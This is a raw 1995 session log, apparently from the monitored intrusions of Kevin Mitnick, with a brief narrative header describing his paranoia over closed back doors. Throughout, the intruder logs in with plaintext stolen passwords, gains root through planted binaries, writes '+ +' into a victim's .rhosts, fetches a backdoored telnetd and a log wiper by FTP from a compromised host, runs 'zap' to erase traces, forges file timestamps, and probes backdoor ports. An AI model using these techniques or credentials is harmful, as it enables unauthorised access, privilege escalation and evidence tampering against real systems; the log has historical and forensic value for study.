Kevin On Demand
- He Seems Paranoid Now - kevin-on-demand.takedown.com 4023
- Start: 1995 Feb 13 15:45:36
- Total Run Time: 12:51
- From NETCOM-min1.netcom.net to netcom19.netcom.com.
- Kevin behaves worried and paranoid, after finding some of his back doors closed. He seems to have become a bit more vindictive and destructive, and open Markoff's account to anyone on the network. He's suspicious that someone might be on to him, and he tries to see which back doors have disappeared in an attempt to find out where he might have been monitored. Also, as his back door on netcomsv has disappeared, Kevin is suspicious that someone may have tampered with his tools to give him away. After seeing that his tools on Netcom have not been touched, he seems to relax a bit.
Password: tauceti
Last login: Sat Feb 11 21:48:47 from NETCOM-min1.netc
NETCOM On-line Communication Services, Inc.
>>>> 01-11-95: There is a new alternate number for the ATLANTA, GA
>>>> dialin: 404-303-7332. The old number, 404-303-9765,
>>>> is also available until further notice.
>>>>
>>>> 01-25-95: The OLD SAN JOSE, CA dialin, 241-9760, is no longer active.
>>>> Please use the new 261-4700 number.
>>>>
>>>> 01-27-95: NETCOM21, NETCOM22, and NETCOM23 are now online!
>>>>
>>>> 02-07-95: The Netcom fileserver upgrade has been postponed.
>>>> Please watch the MOTD for the new date and time.
>>>>
>>>> 02-10-95: We have modified our news software; please read the group
>>>> netcom.announce for details.
>>>>
You have mail.
This disk usage summary is for the last 14 days.
Your average disk usage to date is : 1.81 meg
At this rate, your disk charge will be: $0.00
Your account balance is temporarily unavailable.
login TERM = vt100am
ERASEKEY = BACKSPACE
Erase is Ctrl-H
gkremen:UNKNOWN:netcom19:/u1/gkremen:101> sh
$ test1
test1> open internex.net 5553
Trying 198.67.38.22 ...
telnet: connect: Connection refused
test1> quit
$ test1
test1> openn escape.com
?Invalid command
test1> open escape.com
Trying 198.6.71.10 ...
Connected to escape.com.
Escape character is '^]'.
SunOS UNIX (escape.com)
login: yosda
Password:
Login incorrect
login: yoda
Password: oki,900
SunOS Release 4.1.3 (ESCAPE) #1: Mon Jan 30 01:51:19 EST 1995
We are partially complete on the installation of the additional
phone lines. We should be completely upgraded by the end of the
week. About half of the new lines are currently available on the
hunt group.
For help please read escape.help newsgroup.
For announcements please read escape.announce newsgroup.
Please email us if you think you need to be running processes when
not signed in, we may enable this feature for you.
The use of TIA is no longer allowed. For slip/ppp information please
email us.
We now accept MasterCard, Visa, and American Express credit cards.
To switch your account to credit card billing please call us voice.
If at any time you have a problem or need help feel free to contact
us at 212-888-8780 or mail us at help@escape.com.
---------------------------------------------------------------------
escape.com% mine
# /tmp/a.out
$ cd /a/markoff
$ ls -tla
total 379
drwxr-xr-x 4 erock 512 Feb 13 18:44 .
-rw------- 1 erock 0 Feb 13 18:44 ?01629
-rw-rw-rw- 1 erock 0 Feb 13 18:44 .rhosts
drwxrwxr-x 59 root 1024 Jan 31 17:36 ..
-rw-r--r-- 1 erock 4677 Nov 29 16:05 .pine-debug1
-rw-r--r-- 1 erock 8910 Nov 29 16:05 .pinerc
-rw-r--r-- 1 erock 4759 Nov 23 17:42 .pine-debug2
-rw-r--r-- 1 erock 4608 Nov 11 14:59 .pine-debug3
drwx------ 2 erock 512 Nov 11 13:53 mail
-rw-r--r-- 1 erock 4439 Sep 11 10:30 .pine-debug4
drwxr-xr-x 2 erock 512 Jul 8 1994 .nn
-rw------- 1 erock 85432 Apr 21 1994 mbox
-rw------- 1 erock 379 Apr 21 1994 dead.letter
-rw-r--r-- 1 erock 115730 Mar 19 1994 .newsrc
-rw-r--r-- 1 erock 115730 Mar 19 1994 .newsrc.bak
-rw-r--r-- 1 erock 50 Mar 19 1994 .addressbook
-rw-r--r-- 1 erock 1193 Mar 18 1994 .login
-rw-r--r-- 1 erock 1620 Mar 18 1994 .cshrc
$ ed .rhosts
a
+ +
+
.
w
6
q
$ chmod 666 .rhosts
$ ^D
# cd /usr/etc/
# umount /a
# rmdir /a
# cd /tmp
# rm c.c a.out
# ^D
escape.com% cd
escape.com% rsh internex.net -l markoff /bin/csh -bif
Warning: no access to tty; thus no job control in this shell...
gaia% w
3:48pm up 2:31, 4 users, load average: 2.27, 1.80, 4.69
User tty login@ idle JCPU PCPU what
noahpb console 1:53pm 1:55 1:21 1:15 olwmslave
randyb pts/0 1:28pm 1 1:45 1 top
randyb pts/1 1:27pm 2 1:42 19 -su
noahpb pts/3 1:54pm 1:54 /bin/csh
noahpb pts/4 1:54pm 1:50 25 25 netscape
noahpb pts/6 1:54pm 1:54 /bin/csh
noahpb pts/5 1:54pm 1:23 3 1 tail -f asc1600log
noahpb pts/7 1:54pm 1:54 /bin/csh
noahpb pts/8 1:54pm 10 36 6 -su
oahpb pts/9 1:54pm 1 18 5 pine
noahpb pts/10 1:57pm 1:50 telnet max-2
noahpb pts/11 1:57pm 1:13 telnet max-1
rberger pts/12 2:33pm 43 15 2 emacs db.internex.net db.198.67.
gaia% last | head
brian pts/13 nero.msbit.com Mon Feb 13 15:35 still logged in
sprint pts/13 escape.com Mon Feb 13 15:29 - 15:35 (00:05)
rberger pts/12 198.67.38.152 Mon Feb 13 14:33 still logged in
noahpb console Mon Feb 13 13:53 still logged in
randyb pts/0 styx.internex.ne Mon Feb 13 13:28 still logged in
randyb pts/1 styx.internex.ne Mon Feb 13 13:27 still logged in
root console Mon Feb 13 13:24 - 13:53 (00:28)
randyb console Mon Feb 13 13:20 - 13:24 (00:04)
reboot system boot Mon Feb 13 13:17
gigi pts/19 gumby.internex.n Mon Feb 13 11:12 - 11:13 (00:00)
gaia% id
uid=1111(markoff) gid=1000
gaia% w
3:48pm up 2:31, 4 users, load average: 1.62, 1.68, 4.55
User tty login@ idle JCPU PCPU what
noahpb console 1:53pm 1:55 1:21 1:15 olwmslave
randyb pts/0 1:28pm 1 1:47 3 top
randyb pts/1 1:27pm 3 1:42 19 -su
noahpb pts/3 1:54pm 1:54 /bin/csh
noahpb pts/4 1:54pm 1:50 25 25 netscape
noahpb pts/6 1:54pm 1:54 /bin/csh
noahpb pts/5 1:54pm 1:24 3 1 tail -f asc1600log
noahpb pts/7 1:54pm 1:54 /bin/csh
noahpb pts/8 1:54pm 10 36 6 -su
noahpb pts/9 1:54pm 1 18 5 pine
noahpb pts/10 1:57pm 1:51 telnet max-2
noahpb pts/11 1:57pm 1:14 telnet max-1
rberger pts/12 2:33pm 44 15 2 emacs db.internex.net db.198.67.
gaia% ps
PID TT S TIME COMMAND
gaia% nerw
nerw: Command not found
gaia% newgrp -hack root
ps
PID TT S TIME COMMAND
6371 Z 0:00
6545 Z 0:00
6628 Z 0:00
6637 Z 0:00
6643 Z 0:00
6648 Z 0:00
6654 Z 0:00
6660 Z 0:00
6661 Z 0:00
6683 Z 0:00
6748 Z 0:00
6754 Z 0:00
6756 Z 0:00
572 pts/0 S 0:02 -su
6635 pts/0 S 0:03 top
6493 pts/1 S 0:00 -su
6768 pts/1 R 0:00 ps -eaf
6769 pts/1 S 0:00 grep multiping
1182 pts/8 S 0:01 -su
2252 pts/12 S 0:01 csh
2336 pts/12 T 0:02 emacs db.internex.net db.198.67.38
tty
not a tty
ps
PID TT S TIME COMMAND
6371 Z 0:00
6545 Z 0:00
6628 Z 0:00
6637 Z 0:00
6643 Z 0:00
6648 Z 0:00
6654 Z 0:00
6660 Z 0:00
6661 Z 0:00
6683 Z 0:00
6748 Z 0:00
6754 Z 0:00
6756 Z 0:00
6779 Z 0:00
572 pts/0 S 0:02 -su
6781 pts/0 S 0:01 top
6493 pts/1 S 0:00 -su
1182 pts/8 S 0:01 -su
2252 pts/12 S 0:01 csh
2336 pts/12 T 0:02 emacs db.internex.net db.198.67.38
w
3:49pm up 2:32, 4 users, load average: 1.15, 1.57, 4.36
User tty login@ idle JCPU PCPU what
noahpb console 1:53pm 1:56 1:21 1:15 olwmslave
randyb pts/0 1:28pm 1:47 1 top
randyb pts/1 1:27pm 1:44 19 -su
noahpb pts/3 1:54pm 1:55 /bin/csh
noahpb pts/4 1:54pm 1:51 25 25 netscape
noahpb pts/6 1:54pm 1:55 /bin/csh
noahpb pts/5 1:54pm 1:25 3 1 tail -f asc1600log
noahpb pts/7 1:54pm 1:55 /bin/csh
noahpb pts/8 1:54pm 11 36 6 -su
noahpb pts/9 1:54pm 2 18 5 pine
noahpb pts/10 1:57pm 1:52 telnet max-2
noahpb pts/11 1:57pm 1:15 telnet max-1
rberger pts/12 2:33pm 45 15 2 emacs db.internex.net db.198.67.
^D
gaia%
^D
escape.com% logout
Connection closed by foreign host.
$ /usr/etc/ping well.sf.ca.us
well.sf.ca.us is alive
$ test1
test1> open escape.com
Trying 198.6.71.10 ...
Connected to escape.com.
Escape character is '^]'.
SunOS UNIX (escape.com)
login: yoda
Password: oki,900
Last login: Mon Feb 13 18:42:40 from netcom19.netcom.
SunOS Release 4.1.3 (ESCAPE) #1: Mon Jan 30 01:51:19 EST 1995
We are partially complete on the installation of the additional
phone lines. We should be completely upgraded by the end of the
week. About half of the new lines are currently available on the
hunt group.
For help please read escape.help newsgroup.
For announcements please read escape.announce newsgroup.
Please email us if you think you need to be running processes when
not signed in, we may enable this feature for you.
The use of TIA is no longer allowed. For slip/ppp information please
email us.
We now accept MasterCard, Visa, and American Express credit cards.
To switch your account to credit card billing please call us voice.
If at any time you have a problem or need help feel free to contact
us at 212-888-8780 or mail us at help@escape.com.
---------------------------------------------------------------------
escape.com% ftp
ftp> open well.sf.ca.us
Connected to well.sf.ca.us.
220 well FTP server (UNIX(r) System V Release 4.0) ready.
Name (well.sf.ca.us:yoda): dono
331 Password required for dono.
Password: fucknmc
230 User dono logged in.
ftp> bin
200 Type set to I.
ftp> get zap2
200 PORT command successful.
150 Binary data connection for zap2 (198.6.71.10,4237) (10112 bytes).
get sportd
226 Binary Transfer complete.
local: zap2 remote: zap2
10112 bytes received in 3 seconds (3.3 Kbytes/s)
ftp> 200 PORT command successful.
150 Binary data connection for sportd (198.6.71.10,4238) (15292 bytes).
226 Binary Transfer complete.
local: sportd remote: sportd
15292 bytes received in 4.9 seconds (3.1 Kbytes/s)
ftp> quit
221 Goodbye.
escape.com% ^D
logout
Connection closed by foreign host.
$ rsh internex.net -l markoff /bin/csh -bif
Warning: no access to tty; thus no job control in this shell...
gaia% ftp
open escape.com
th^Uyoda
ftp: ioctl(TIOCGETP): Invalid argument
Password: oki,900
bin
get sportd
get zap2 foo2
quit
Name (escape.com:markoff):
gaia% chmod 777 foo2 sportd
gaia% mv sportd in.pmd
gaia% newgrp -hack root
csh
env - in.pmd
No such file or directory: in.pmd
env - ./in.pmd
gaia%
^D
$ pwd
/u1/gkremen
$ test1
test1> open internex.net 5553
Trying 198.67.38.22 ...
Connected to internex.net.
Escape character is '^]'.
wank
Connection closed by foreign host.
$ test1
test1> open internex.net
Trying 198.67.38.22 ...
Connected to internex.net.
Escape character is '^]'.
UNIX(r) System V Release 4.0 (gaia)
login: ^D
Connection closed by foreign host.
$ test1
test1> open internex.net 5553
Trying 198.67.38.22 ...
Connected to internex.net.
Escape character is '^]'.
wank
Connection closed by foreign host.
$ test1
test1> open escape.com
Trying 198.6.71.10 ...
Connected to escape.com.
Escape character is '^]'.
SunOS UNIX (escape.com)
login: yoda
Password: oki,900
Last login: Mon Feb 13 18:46:05 from netcom19.netcom.
SunOS Release 4.1.3 (ESCAPE) #1: Mon Jan 30 01:51:19 EST 1995
We are partially complete on the installation of the additional
phone lines. We should be completely upgraded by the end of the
week. About half of the new lines are currently available on the
hunt group.
For help please read escape.help newsgroup.
For announcements please read escape.announce newsgroup.
Please email us if you think you need to be running processes when
not signed in, we may enable this feature for you.
The use of TIA is no longer allowed. For slip/ppp information please
email us.
We now accept MasterCard, Visa, and American Express credit cards.
To switch your account to credit card billing please call us voice.
If at any time you have a problem or need help feel free to contact
us at 212-888-8780 or mail us at help@escape.com.
---------------------------------------------------------------------
escape.com% mine
# csj
csj: not found
# csh
escape.com# zap yoda
Zap!
escape.com# !!
zap yoda
Zap!
escape.com# !!
zap yoda
Zap!
escape.com# !!
zap yoda
Zap!
escape.com# !!
zap yoda
^C^C
escape.com# strings sportd | more
/usr/lib/ld.so.1
socket
telnet
__DTOR_LIST__
_start
read
ptyibuf
__CTOR_LIST__
wont
neturg
_environ
_end
fork
dontoption
_iob
ptyflush
_GLOBAL_OFFSET_TABLE_
nextitem
sleep
__ctype
netobuf
signal
accept
atexit
exit
strerror
subend
tolower
BANNER1
BANNER2
ptsname
stilloob
sprintf
subbuffer
unlockpt
send
bind
_init
telcli
mode
setsockopt
remopts
clocks
ffprintf
wontoption
setpgrp
terminaltype
myopts
ptyobuf
sys_errlist
willoption
grantpt
dup2
nbackp
select
cleanup
_DYNAMIC
printf
execl
__iob
_sys_errlist
will
nfrontp
not42
ioctl
setsid
master
write
inter
netflush
_exit
suboption
environ
perror
errno
envinit
pfrontp
ttloop
shutdown
close
sendbrk
open
strcmp
fatalperror
_edata
_PROCEDURE_LINKAGE_TABLE_
dooption
memset
__do_global_dtors
doopt
getterminaltype
__CTOR_END__
_etext
_lib_version
interrupt
__do_global_ctors
netibuf
_ctype
__DTOR_END__
main
netip
SYNCHing
subpointer
doit
fatal
memcpy
strlen
line
pbackp
netclear
gethostname
ptyip
_fini
listen
dont
fprintf
telrcv
libsocket.so.1
libnsl.so.1
libintl.so.1
libw.so.1
libdl.so.1
libc.so.1
J!U
"#^L#
Jbe
K"d
Nbd
"b @
"b$@
""$@
#"^L
#"^L
bind
/dev/tty
fork: %s
wank
/dev/ptmx
open /dev/ptmx
could not grant slave pty
could not unlock slave pty
could not enable slave pty
could not open slave pty
ptem
ioctl I_PUSH ptem
ldterm
ioctl I_PUSH ldterm
ttcompat
ioctl I_PUSH ttcompat
fork
/opt/bin/tcsh
-wank
/bin/login
telnetd: %s.
telnetd: %s
escape.com# pwd
/home/home1/yoda
escape.com# ^D
# ^D
escape.com% ^Dlogout
Connection closed by foreign host.
$ rsh internex.net -l markoff /bin/csh -bif
Warning: no access to tty; thus no job control in this shell...
gaia% ls
01629
dead.letter
foo2
in.pmd
mail
mbox
gaia% w
3:54pm up 2:37, 4 users, load average: 0.50, 0.85, 3.19
User tty login@ idle JCPU PCPU what
noahpb console 1:53pm 2:01 1:21 1:15 olwmslave
randyb pts/0 1:28pm 1:57 1 -su
randyb pts/1 1:27pm 6 1:45 20 -su
noahpb pts/3 1:54pm 2:01 /bin/csh
noahpb pts/4 1:54pm 1:56 25 25 netscape
noahpb pts/6 1:54pm 2:00 /bin/csh
noahpb pts/5 1:54pm 1:30 3 1 tail -f asc1600log
noahpb pts/7 1:54pm 2:00 /bin/csh
noahpb pts/8 1:54pm 17 36 6 -su
noahpb pts/9 1:54pm 18 5 pine
noahpb pts/10 1:57pm 1:57 telnet max-2
noahpb pts/11 1:57pm 1:20 telnet max-1
rberger pts/12 2:33pm 50 15 2 emacs db.internex.net db.198.67.
gaia% newgrp -hack root
csh -bif
Warning: no access to tty; thus no job control in this shell...
gaia# env - ./in.pmd
bind : Address already in use
gaia# rm in.pmd foo2
gaia# ps
PID TT S TIME COMMAND
6371 Z 0:00
6683 Z 0:00
6785 Z 0:00
6889 Z 0:00
6896 Z 0:00
6982 Z 0:00
7006 Z 0:00
7066 Z 0:00
7100 Z 0:00
572 pts/0 S 0:02 -su
6493 pts/1 S 0:00 -su
1182 pts/8 S 0:01 -su
2252 pts/12 S 0:01 csh
2336 pts/12 T 0:02 emacs db.internex.net db.198.67.38
7128 pts/13 R 0:00 login -d /dev/pts/13 -h nero.msbit.com TERM=xterm
gaia# w
3:55pm up 2:38, 4 users, load average: 1.39, 1.02, 3.14
User tty login@ idle JCPU PCPU what
noahpb console 1:53pm 2:02 1:22 1:16 olwmslave
randyb pts/0 1:28pm 1:57 1 -su
randyb pts/1 1:27pm 7 1:45 20 -su
noahpb pts/3 1:54pm 2:01 /bin/csh
noahpb pts/4 1:54pm 1:57 26 26 netscape
noahpb pts/6 1:54pm 2:01 /bin/csh
noahpb pts/5 1:54pm 1:31 3 1 tail -f asc1600log
noahpb pts/7 1:54pm 2:01 /bin/csh
noahpb pts/8 1:54pm 17 36 6 -su
noahpb pts/9 1:54pm 19 6 pine
noahpb pts/10 1:57pm 1:58 telnet max-2
noahpb pts/11 1:57pm 1:21 telnet max-1
rberger pts/12 2:33pm 51 15 2 emacs db.internex.net db.198.67.
gaia# passwd uucp
Sorry.
gaia# id
uid=0(root) gid=1(other)
gaia# cd
gaia# ls -tla
gaia# total 380
drwxr-xr-x 4 markoff 512 Feb 13 15:55 .
-rw-rw-rw- 1 markoff 6 Feb 13 15:47 .rhosts
-rw------- 1 markoff 0 Feb 13 15:44 01629
drwxrwxr-x 59 root 1024 Jan 31 14:36 ..
-rw-r--r-- 1 markoff 4677 Nov 29 13:05 .pine-debug1
-rw-r--r-- 1 markoff 8910 Nov 29 13:05 .pinerc
-rw-r--r-- 1 markoff 4759 Nov 23 14:42 .pine-debug2
-rw-r--r-- 1 markoff 4608 Nov 11 11:59 .pine-debug3
drwx------ 2 markoff 512 Nov 11 10:53 mail
-rw-r--r-- 1 markoff 4439 Sep 11 07:30 .pine-debug4
drwxr-xr-x 2 markoff 512 Jul 8 1994 .nn
-rw------- 1 markoff 85432 Apr 21 1994 mbox
-rw------- 1 markoff 379 Apr 20 1994 dead.letter
-rw-r--r-- 1 markoff 115730 Mar 19 1994 .newsrc
-rw-r--r-- 1 markoff 115730 Mar 19 1994 .newsrc.bak
-rw-r--r-- 1 markoff 50 Mar 19 1994 .addressbook
-rw-r--r-- 1 markoff 1193 Mar 18 1994 .login
-rw-r--r-- 1 markoff 1620 Mar 18 1994 .cshrc
gaia# rm 016*
No match
gaia# sh
^D
gaia# gaia% $ w
3:55pm up 2 days, 12:50, 76 users, load average: 3.54, 2.38, 2.57
User tty login@ idle JCPU PCPU what
dargahi ttyp0 3:50pm 1 1 -csh
rees ttyp1 12:06pm 1 6 6 dnet -m0
wrybak ttyp2 3:14pm 1 4 3 telnet
shelleya ttyp3 3:22pm 11 9 /usr/local/bin/mail.old/trn
bryant ttyp5 3:47pm 4 3 nn
haag ttyp6 1:48pm 1 2 2 -csh
vamphyr ttyp7 3:17pm 34 pine
gunther ttyp8 3:24pm 6 3 -csh
pali151 ttyp9 Sun 5am 8:32 2:06 2 -csh
tjauch ttypa 8:27am 1:23 3 3 pine
summitr ttypb 3:24pm 7 7 /usr/local/bin/mail.old/rn alt.b
larry9 ttypc 3:52pm elm -f larry
awh ttypd 1:11pm 43 42 /usr/local/bin/mail.old/tf
ronaldm ttype 2:51pm 1:47 1:47 rlogin netcom7
mfinkle ttypf 2:35pm 49 49 /usr/local/bin/mail.old/ircII -p
arfer ttyq0 3:47pm 1 5 sz a1.01 a1.02 a1.03 a1.04 a1.05
haroon ttyq2 3:19pm 10 8 menu
slider ttyq3 12:53pm 1:11 29 -csh
gkremen ttyq4 3:45pm 1 w
ferit ttyq5 3:50pm /usr/local/bin/mail.old/irc
deane ttyq6 3:45pm 2 5 -csh
tebo ttyq7 12:58pm 30 30 -bash
lgage ttyq8 3:26pm 19 pine
pablol ttyq9 3:50pm 3 2 /usr/local/bin/tin122 -qv
dwg ttyqb 8:39am 7:14 2 2 pine
csmchrle ttyqc 3:52pm telnet well.com
geode ttyqd 3:51pm 1 1 -csh
mwilliam ttyqe 10:32am 59 52 1 -csh
jkabakov ttyqf 3:48pm 2 pine
modena ttyr0 3:01pm 11 2 -csh
zxcvb ttyr1 3:25pm 6 6 lynx
glr ttyr2 1:25pm 28 28 -tcsh
hud ttyr3 3:32pm 11 17 16 /usr/local/bin/mail.old/rn
john4p ttyr4 3:12pm 16 16 /usr/local/bin/mail.old/tin
thrawn ttyr5 12:38pm 59 36 /usr/local/bin/mail.old/tin
malibu ttyr6 3:50pm pine
wzombie ttyr7 3:43pm 4 2 nn
scandal ttyr8 11:56am 58 3 -tcsh
septembr ttyr9 3:36pm 8 3 elm
lynx ttyra 3:54pm 1 -csh
sujo ttyrb 3:14pm 9 6 -csh
sputz ttyrc 3:50pm 4 rlogin netcom23
theshado ttyrd 3:38pm 2 1 telnet vaxa.isc.rit.edu
sputz ttyre 3:50pm 4 rlogin netcom23
shannonm ttyrf 3:29pm 1 1 pine
eran ttys0 10:51am 11 11 tia
tiendao ttys1 2:30pm 46 46 tia
geomath ttys2 3:03pm 24 sz -b down.zip
sputz ttys3 3:50pm 4 rlogin netcom23
mephit ttys4 3:39pm 3 1 /usr/local/bin/mail.old/tf
sputz ttys5 3:50pm 4 rlogin netcom23
sjensen ttys6 2:59pm 9 gopher
dmcnic ttys7 3:53pm 6 6 pine
frodo ttys8 3:55pm /usr/local/bin/mail.old/tf
mbanet ttys9 3:18pm 41 41 /usr/local/bin/mail.old/tin
sputz ttysa 3:50pm 4 rlogin netcom23
smachado ttysb 3:50pm telnet hsc.usc.edu
gspurr ttysd 12:42pm 1 35 sz barbt01.jpg bonzi006.jpg bonz
wchan ttyse 3:50pm 5 5 /usr/local/bin/mail.old/tin
kitsiu ttysf 3:50pm /usr/ucb/vi /usr/tmp/snd.18550
bare ttyt0 2:47pm 1 6 6 rlogin -l argualar tele9.colorad
emiles ttyt1 2:51pm 22 22 tf four
robertsj ttyt2 3:28pm 1 6 6 /usr/local/bin/mail.old/tin
hoodr ttyt3 Sun 6pm 5 -csh
eraserx ttyt4 3:04pm 7:00 7:00 /usr/local/bin/mail.old/tin
woodstck ttyt5 2:04pm 1 1:22 58 emacs
akimoto ttyt6 3:34pm 4 7 /usr/ucb/Mail.old
marke ttyt8 3:51pm pine
mycroft ttyt9 3:09pm 2 8 7 sz -u #10boobs.gif 2bikers1.gif
mlanett ttyta 2:49pm 8 18 sz gzip-1.2.4.tar diffutils-2.7.
scarecro ttytb 3:51pm 1 telnet purple.cybernetics.net 62
mrchet ttytc 3:34pm 1 telnet 128.180.5.55 6969
netnews ttytd 10:26am 5 54 -csh
gowda ttyte 9:54am 5 11 1 -tcsh
csuley ttyu0 3:52pm telnet 199.34.48.6
mathiot ttyu3 3:08pm 22 7 /usr/local/bin/mail.old/tin
$ test1
test1> open netcomsv
Trying 192.100.81.101 ...
Connected to netcomsv.
Escape character is '^]'.
SunOS UNIX (netcomsv)
login: root
Password: .neill.
Login incorrect
login: ^D
Connection closed by foreign host.
$ test1
test1> open netcomsv
Trying 192.100.81.101 ...
Connected to netcomsv.
Escape character is '^]'.
SunOS UNIX (netcomsv)
login: root
Password: .neill.
Login incorrect
login: root
Password: .neill.
Login incorrect
login: root
Password: .neill.
login: ^D
Connection closed by foreign host.
$ ls -tla test1
-rwx------ 1 gkremen 40960 Feb 1 15:01 test1
$ sum test1
09773 40
$ ftp
ftp> open cns.cscns.com
Connected to cns.cscns.com.
220 cns FTP server (Version wu-2.4(1) Thu Jun 23 14:54:45 MDT 1994) ready.
Name (cns.cscns.com:gkremen): wendy
331 Password required for wendy.
Password: fuckjkt
230 User wendy logged in.
ftp> cd /usr/ucb
250 CWD command successful.
ftp> bin
200 PORT command successful.
ftp> get telnet
150 Opening BINARY mode data connection for telnet (40960 bytes).
226 Transfer complete.
local: telnet remote: telnet 40960 bytes received in 0.68 seconds (59 Kbytes/s)
ftp> quit
221 Goodbye.
$ diff telnet test1
$ rm telnet
$ ls
Mail here ournet
News mail scan
development.manager net.surfer.intern.txt test
foo netforms test1
$ rsh internex.net -l markoff /bin/csh -bif
Warning: no access to tty; thus no job control in this shell...
gaia% w
3:58pm up 2:41, 4 users, load average: 0.77, 0.98, 2.80
User tty login@ idle JCPU PCPU what
noahpb console 1:53pm 2:05 1:23 1:17 olwmslave
randyb pts/0 1:28pm 2:00 1 -su
randyb pts/1 1:27pm 9 1:45 20 -su
noahpb pts/3 1:54pm 2:04 /bin/csh
noahpb pts/4 1:54pm 2:00 27 27 netscape
noahpb pts/6 1:54pm 2:04 /bin/csh
noahpb pts/5 1:54pm 1:33 3 1 tail -f asc1600log
noahpb pts/7 1:54pm 2:04 /bin/csh
noahpb pts/8 1:54pm 36 6 vi db.valis.com
noahpb pts/9 1:54pm 1 19 6 pine
noahpb pts/10 1:57pm 2:00 telnet max-2
noahpb pts/11 1:57pm 1:23 telnet max-1
rberger pts/12 2:33pm 53 15 2 emacs db.internex.net db.198.67.
gaia% touch -acm 0117132194 .rhosts
gaia% ls -tla .rhosts
-rw-rw-rw- 1 markoff 6 Feb 13 15:58 .rhosts
gaia% ^D
$ test1
test1> open internex.net 5555
Trying 198.67.38.22 ...
telnet: connect: Connection refused
test1> open internex.net 5553
Trying 198.67.38.22 ...
Connected to internex.net.
Escape character is '^]'.
wank
Connection closed by foreign host.
$